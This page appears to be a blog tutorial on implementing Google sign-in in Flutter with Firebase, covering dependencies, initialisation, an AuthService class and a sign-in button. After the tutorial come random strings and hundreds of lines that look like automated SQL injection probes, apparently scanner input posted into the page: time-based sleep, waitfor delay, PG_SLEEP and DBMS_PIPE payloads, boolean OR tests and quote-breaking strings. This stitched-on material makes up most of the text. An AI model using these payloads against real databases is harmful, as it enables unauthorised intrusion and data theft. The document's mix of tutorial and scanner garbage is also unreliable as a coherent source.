Implementing Google Authentication in Flutter with Firebase
Integrating Google Authentication in your Flutter app enhances the user experience by providing a quick and secure sign-in option. This blog walks you through setting up Google Authentication in a Flutter application using Firebase. We'll cover everything from Firebase project setup to Flutter code implementation.
Step 1: Setting Up Firebase
- Go to the Firebase Console and create a new project.
- Click on 'Add app' and select the Flutter icon to add your Flutter app to the project.
- Follow the instructions to download the
google-services.json
file for Android andGoogleService-Info.plist
for iOS, then place them in your app’s respective directories.
Step 2: Adding Firebase to Your Flutter App
Include Firebase in your Flutter project by adding the necessary dependencies in your pubspec.yaml
file:
dependencies:
flutter:
sdk: flutter
firebase_core: latest_version
firebase_auth: latest_version
google_sign_in: latest_version
Run flutter pub get
to install these packages.
Step 3: Implementing Google Sign-In
Start by initializing Firebase in your main.dart file:
void main() async {
WidgetsFlutterBinding.ensureInitialized();
await Firebase.initializeApp();
runApp(MyApp());
}
Create a new Dart file for handling the authentication process, e.g., auth.dart
, and add the following code:
import 'package:firebase_auth/firebase_auth.dart';
import 'package:google_sign_in/google_sign_in.dart';
class AuthService {
final FirebaseAuth _auth = FirebaseAuth.instance;
final GoogleSignIn googleSignIn = GoogleSignIn();
Future signInWithGoogle() async {
final GoogleSignInAccount? googleSignInAccount = await googleSignIn.signIn();
if (googleSignInAccount != null) {
final GoogleSignInAuthentication googleSignInAuthentication = await googleSignInAccount.authentication;
final AuthCredential credential = GoogleAuthProvider.credential(
accessToken: googleSignInAuthentication.accessToken,
idToken: googleSignInAuthentication.idToken,
);
final UserCredential authResult = await _auth.signInWithCredential(credential);
final User? user = authResult.user;
return user;
}
return null;
}
void signOutGoogle() async {
await googleSignIn.signOut();
print("User Signed Out");
}
}
Finally, implement the UI and logic in your app to trigger Google sign-in and sign-out. For instance:
ElevatedButton(
onPressed: () async {
final user = await AuthService().signInWithGoogle();
if (user != null) {
print('Signed in as ${user.displayName}');
}
},
child: Text('Sign in with Google'),
);
Conclusion
Google Authentication enhances the security and ease of use of your app. By following these steps, you can successfully integrate Google sign-in into your Flutter app using Firebase. For any additional configurations, especially for iOS, refer to the Firebase documentation for detailed guidance.
ESaiVcFWg
AGsXiDchKBkplq
xsqVecSf
wReWzFBfa
VGfkDxzWyLjENd
qlBGROWMHUDAxr
sGlmOTJjzHegyVin
QqHfIxwStjLrpNTe
xLgAXmwcdZMk
pMTxoqebtOVgBrWK
qadZNYkoGWSP
buQYvLBkFfmPC
ERXOhrcfbAyPLg
LpKyEotUjuPemB
qxEkaAYIsWpe
ShGdARbgXKZLUF
smEiMeQDbSxthk
stxocErMjmLwa
ogaSDAEFwk
NBOfnlDW
555
555
555
555
555
555
555
555
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
5552Q0ZIRMt'; waitfor delay '0:0:15' --
555-1 OR 632=(SELECT 632 FROM PG_SLEEP(15))--
555-1) OR 972=(SELECT 972 FROM PG_SLEEP(15))--
555-1)) OR 885=(SELECT 885 FROM PG_SLEEP(15))--
555dHZxTDJS' OR 457=(SELECT 457 FROM PG_SLEEP(15))--
555zGUxFBbv') OR 588=(SELECT 588 FROM PG_SLEEP(15))--
5558w9bddxa')) OR 287=(SELECT 287 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@axZOc
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+823-823-1=0+0+0+1 --
-1 OR 2+10-10-1=0+0+0+1
-1' OR 2+549-549-1=0+0+0+1 --
555
-1' OR 2+10-10-1=0+0+0+1 or '4hbnttRW'='
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
1
555
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555
555
1
-1 OR 2+836-836-1=0+0+0+1 --
-1 OR 2+175-175-1=0+0+0+1
-1' OR 2+692-692-1=0+0+0+1 --
-1' OR 2+827-827-1=0+0+0+1 or 'fZVattx0'='
-1" OR 2+209-209-1=0+0+0+1 --
555-1; waitfor delay '0:0:15' --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555kKhEOq5O'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
555
555
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555-1 OR 561=(SELECT 561 FROM PG_SLEEP(15))--
555
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1DQpYcGRK'; waitfor delay '0:0:15' --
1-1 OR 704=(SELECT 704 FROM PG_SLEEP(15))--
1-1) OR 233=(SELECT 233 FROM PG_SLEEP(15))--
555
1-1)) OR 519=(SELECT 519 FROM PG_SLEEP(15))--
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@G0OK9
555
555
555
555
555
16l4Qi8ed' OR 288=(SELECT 288 FROM PG_SLEEP(15))--
555
1OwtkylXH') OR 705=(SELECT 705 FROM PG_SLEEP(15))--
555
555
1YcQHmbyc')) OR 549=(SELECT 549 FROM PG_SLEEP(15))--
555
555
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
'"
555
����%2527%2522\'\"
-1 OR 2+443-443-1=0+0+0+1 --
@@EkGOH
-1 OR 2+495-495-1=0+0+0+1
-1' OR 2+597-597-1=0+0+0+1 --
-1' OR 2+240-240-1=0+0+0+1 or 'Z1wBHjz5'='
-1" OR 2+105-105-1=0+0+0+1 --
555
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555-1; waitfor delay '0:0:15' --
555
555
555
555
555-1); waitfor delay '0:0:15' --
555
555-1 waitfor delay '0:0:15' --
555
555
555
555
555xxUOhg2B'; waitfor delay '0:0:15' --
555
555-1) OR 745=(SELECT 745 FROM PG_SLEEP(15))--
555-1)) OR 56=(SELECT 56 FROM PG_SLEEP(15))--
555Q29ouLFB' OR 267=(SELECT 267 FROM PG_SLEEP(15))--
555u1pqSDxs') OR 821=(SELECT 821 FROM PG_SLEEP(15))--
555
5556cDk5mgL')) OR 991=(SELECT 991 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@oGXfF
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555-1; waitfor delay '0:0:15' --
1
1
-1 OR 2+549-549-1=0+0+0+1 --
-1 OR 2+683-683-1=0+0+0+1
-1' OR 2+689-689-1=0+0+0+1 --
-1' OR 2+89-89-1=0+0+0+1 or 'YgX0AdTn'='
-1" OR 2+252-252-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555Oa8WqqAT') OR 83=(SELECT 83 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555LJtcU6S3')) OR 532=(SELECT 532 FROM PG_SLEEP(15))--
1-1; waitfor delay '0:0:15' --
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1-1); waitfor delay '0:0:15' --
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
1-1 waitfor delay '0:0:15' --
@@p4vQz
555
555
1x70oecBS'; waitfor delay '0:0:15' --
555
555
555
1-1 OR 634=(SELECT 634 FROM PG_SLEEP(15))--
555
555
555
1-1) OR 920=(SELECT 920 FROM PG_SLEEP(15))--
555
555
555
555
555
1-1)) OR 445=(SELECT 445 FROM PG_SLEEP(15))--
555
555
555
555
15KLOMYAB' OR 595=(SELECT 595 FROM PG_SLEEP(15))--
555
10ILzIMWO') OR 258=(SELECT 258 FROM PG_SLEEP(15))--
555
555
555
555
555
555
1RlLgS3OB')) OR 411=(SELECT 411 FROM PG_SLEEP(15))--
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
����%2527%2522\'\"
@@0qcZk
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
555
555
555
555
1
-1 OR 2+780-780-1=0+0+0+1 --
-1 OR 2+531-531-1=0+0+0+1
-1' OR 2+741-741-1=0+0+0+1 --
-1' OR 2+653-653-1=0+0+0+1 or 'qToxaEdZ'='
-1" OR 2+327-327-1=0+0+0+1 --
555
1*if(now()=sysdate(),sleep(15),0)
555
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
555
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
1-1; waitfor delay '0:0:15' --
555
1-1); waitfor delay '0:0:15' --
555
1-1 waitfor delay '0:0:15' --
555
555
555
555
1FlfYAWb4'; waitfor delay '0:0:15' --
1
555
555
555
555
1-1 OR 540=(SELECT 540 FROM PG_SLEEP(15))--
1
-1 OR 2+136-136-1=0+0+0+1 --
-1 OR 2+411-411-1=0+0+0+1
-1' OR 2+724-724-1=0+0+0+1 --
-1' OR 2+816-816-1=0+0+0+1 or 'xNE11XeG'='
-1" OR 2+876-876-1=0+0+0+1 --
1-1) OR 65=(SELECT 65 FROM PG_SLEEP(15))--
1*if(now()=sysdate(),sleep(15),0)
1-1)) OR 115=(SELECT 115 FROM PG_SLEEP(15))--
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1W4uZXvUi' OR 621=(SELECT 621 FROM PG_SLEEP(15))--
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1bpKjLUkS') OR 549=(SELECT 549 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
1tXOh56pE')) OR 991=(SELECT 991 FROM PG_SLEEP(15))--
555
1-1; waitfor delay '0:0:15' --
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
1-1); waitfor delay '0:0:15' --
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
����%2527%2522\'\"
@@7TYbX
1-1 waitfor delay '0:0:15' --
1Gk6qZwXS'; waitfor delay '0:0:15' --
1-1 OR 718=(SELECT 718 FROM PG_SLEEP(15))--
555
555
1-1) OR 835=(SELECT 835 FROM PG_SLEEP(15))--
555
555
555
555
555
1-1)) OR 129=(SELECT 129 FROM PG_SLEEP(15))--
555
1aVl9WR1H' OR 988=(SELECT 988 FROM PG_SLEEP(15))--
555
555
1axeAGnNY') OR 23=(SELECT 23 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
1GUlZm5ZD')) OR 599=(SELECT 599 FROM PG_SLEEP(15))--
555
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
����%2527%2522\'\"
@@DfhfB
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
555
555
1
-1 OR 2+199-199-1=0+0+0+1 --
-1 OR 2+17-17-1=0+0+0+1
-1' OR 2+444-444-1=0+0+0+1 --
-1' OR 2+44-44-1=0+0+0+1 or 'x2J4dTIX'='
-1" OR 2+185-185-1=0+0+0+1 --
555
-1 OR 2+209-209-1=0+0+0+1 --
-1 OR 2+551-551-1=0+0+0+1
-1' OR 2+346-346-1=0+0+0+1 --
-1' OR 2+349-349-1=0+0+0+1 or '9gFAmOmr'='
555
-1" OR 2+39-39-1=0+0+0+1 --
555
1*if(now()=sysdate(),sleep(15),0)
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
555
555
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
1-1; waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
555
1-1); waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555
1-1 waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555
555
1iQf3S8VX'; waitfor delay '0:0:15' --
555hJyZ58X2'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
1-1 OR 244=(SELECT 244 FROM PG_SLEEP(15))--
555-1 OR 922=(SELECT 922 FROM PG_SLEEP(15))--
555
555
555
1-1) OR 657=(SELECT 657 FROM PG_SLEEP(15))--
555-1) OR 240=(SELECT 240 FROM PG_SLEEP(15))--
555
1-1)) OR 657=(SELECT 657 FROM PG_SLEEP(15))--
555-1)) OR 408=(SELECT 408 FROM PG_SLEEP(15))--
555
1XA8obJod' OR 263=(SELECT 263 FROM PG_SLEEP(15))--
555q7ihYZqQ' OR 87=(SELECT 87 FROM PG_SLEEP(15))--
555
555
555
555
1LDLEsgfk') OR 919=(SELECT 919 FROM PG_SLEEP(15))--
555pIfXlwAv') OR 414=(SELECT 414 FROM PG_SLEEP(15))--
555
555
555
555
555
12FbyDv5g')) OR 758=(SELECT 758 FROM PG_SLEEP(15))--
555s82K5fJd')) OR 444=(SELECT 444 FROM PG_SLEEP(15))--
555
555
555
555
555
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
-1 OR 2+294-294-1=0+0+0+1 --
-1 OR 2+233-233-1=0+0+0+1
-1' OR 2+413-413-1=0+0+0+1 --
-1' OR 2+852-852-1=0+0+0+1 or 'atiyfFNg'='
-1" OR 2+910-910-1=0+0+0+1 --
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
555
����%2527%2522\'\"
@@BGd43
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@SsstV
555*if(now()=sysdate(),sleep(15),0)
555tsMeXl4U'; waitfor delay '0:0:15' --
555*if(now()=sysdate(),sleep(15),0)
555-1 OR 588=(SELECT 588 FROM PG_SLEEP(15))--
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555-1) OR 371=(SELECT 371 FROM PG_SLEEP(15))--
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555-1)) OR 622=(SELECT 622 FROM PG_SLEEP(15))--
555
-1 OR 2+384-384-1=0+0+0+1 --
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
-1 OR 2+254-254-1=0+0+0+1
-1' OR 2+905-905-1=0+0+0+1 --
-1' OR 2+641-641-1=0+0+0+1 or 'HNlYrGbv'='
-1" OR 2+741-741-1=0+0+0+1 --
555mYlCIQRJ' OR 424=(SELECT 424 FROM PG_SLEEP(15))--
555-1; waitfor delay '0:0:15' --
555*if(now()=sysdate(),sleep(15),0)
555UsGHTH6J') OR 917=(SELECT 917 FROM PG_SLEEP(15))--
555-1); waitfor delay '0:0:15' --
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555klsnbzFq')) OR 248=(SELECT 248 FROM PG_SLEEP(15))--
555-1 waitfor delay '0:0:15' --
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555hntQoNqA'; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@lQaRY
555-1 OR 630=(SELECT 630 FROM PG_SLEEP(15))--
555-1; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555-1) OR 838=(SELECT 838 FROM PG_SLEEP(15))--
555-1); waitfor delay '0:0:15' --
555
555
555-1)) OR 206=(SELECT 206 FROM PG_SLEEP(15))--
555-1 waitfor delay '0:0:15' --
555
555hjQ3vh1g' OR 447=(SELECT 447 FROM PG_SLEEP(15))--
5554zjPQ1je'; waitfor delay '0:0:15' --
555
555
555AWnbCPZ6') OR 599=(SELECT 599 FROM PG_SLEEP(15))--
555-1 OR 176=(SELECT 176 FROM PG_SLEEP(15))--
555
555
555
555
555
55590Kjy8wq')) OR 549=(SELECT 549 FROM PG_SLEEP(15))--
555
555
555-1) OR 42=(SELECT 42 FROM PG_SLEEP(15))--
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555-1)) OR 219=(SELECT 219 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@Aei55
555ykWS0riq' OR 251=(SELECT 251 FROM PG_SLEEP(15))--
555
555
555
555
555hMZ1NSwg') OR 150=(SELECT 150 FROM PG_SLEEP(15))--
555
555
555
555vFFH4O6p')) OR 76=(SELECT 76 FROM PG_SLEEP(15))--
555
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@fTzoR
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+770-770-1=0+0+0+1 --
-1 OR 2+697-697-1=0+0+0+1
-1' OR 2+243-243-1=0+0+0+1 --
-1' OR 2+328-328-1=0+0+0+1 or 'IBKQn6xt'='
-1" OR 2+304-304-1=0+0+0+1 --
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555
555
555
555
555-1; waitfor delay '0:0:15' --
555
555
555
555
555
555
555-1); waitfor delay '0:0:15' --
555
555
555
555
555-1 waitfor delay '0:0:15' --
555
555
555
555
555
555
555
-1 OR 2+231-231-1=0+0+0+1 --
555
-1 OR 2+422-422-1=0+0+0+1
-1' OR 2+858-858-1=0+0+0+1 --
-1' OR 2+571-571-1=0+0+0+1 or 'ukFdx980'='
-1" OR 2+503-503-1=0+0+0+1 --
555CbxaDlhV'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555-1 OR 671=(SELECT 671 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555-1) OR 141=(SELECT 141 FROM PG_SLEEP(15))--
555
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555-1)) OR 275=(SELECT 275 FROM PG_SLEEP(15))--
555
555
555
555
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
5554YPYf9SP' OR 614=(SELECT 614 FROM PG_SLEEP(15))--
555
555
555
555-1; waitfor delay '0:0:15' --
555FGUKyovz') OR 43=(SELECT 43 FROM PG_SLEEP(15))--
555
555
555
555
555-1); waitfor delay '0:0:15' --
555ZOYgQUJZ')) OR 93=(SELECT 93 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555-1 waitfor delay '0:0:15' --
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555U2Y5MIIk'; waitfor delay '0:0:15' --
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@Aqrqt
555
555
555
555
555
555
555
555-1 OR 535=(SELECT 535 FROM PG_SLEEP(15))--
555
555
555
555
555-1) OR 276=(SELECT 276 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555-1)) OR 109=(SELECT 109 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555cwQsBIcn' OR 352=(SELECT 352 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
55529rAzpHN') OR 249=(SELECT 249 FROM PG_SLEEP(15))--
555
555
5553MGSPLdS')) OR 707=(SELECT 707 FROM PG_SLEEP(15))--
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@Hyv3s
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
555
1
-1 OR 2+94-94-1=0+0+0+1 --
555
-1 OR 2+721-721-1=0+0+0+1
-1' OR 2+793-793-1=0+0+0+1 --
-1' OR 2+164-164-1=0+0+0+1 or 'vfiylUaN'='
-1" OR 2+116-116-1=0+0+0+1 --
555
555
1*if(now()=sysdate(),sleep(15),0)
555
555
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
555
555
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555
555
1-1; waitfor delay '0:0:15' --
555
555
555
555
1-1); waitfor delay '0:0:15' --
555
555
1-1 waitfor delay '0:0:15' --
555
555
555
555
1URXO43xc'; waitfor delay '0:0:15' --
555
555
1-1 OR 917=(SELECT 917 FROM PG_SLEEP(15))--
555
1-1) OR 446=(SELECT 446 FROM PG_SLEEP(15))--
555
1-1)) OR 814=(SELECT 814 FROM PG_SLEEP(15))--
555
1DWleja8u' OR 981=(SELECT 981 FROM PG_SLEEP(15))--
555
1HBErTYjl') OR 176=(SELECT 176 FROM PG_SLEEP(15))--
555
140LrIBDx')) OR 427=(SELECT 427 FROM PG_SLEEP(15))--
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
'"
555
����%2527%2522\'\"
@@vvW0p
555
555
nUlgSrDEuzpfwe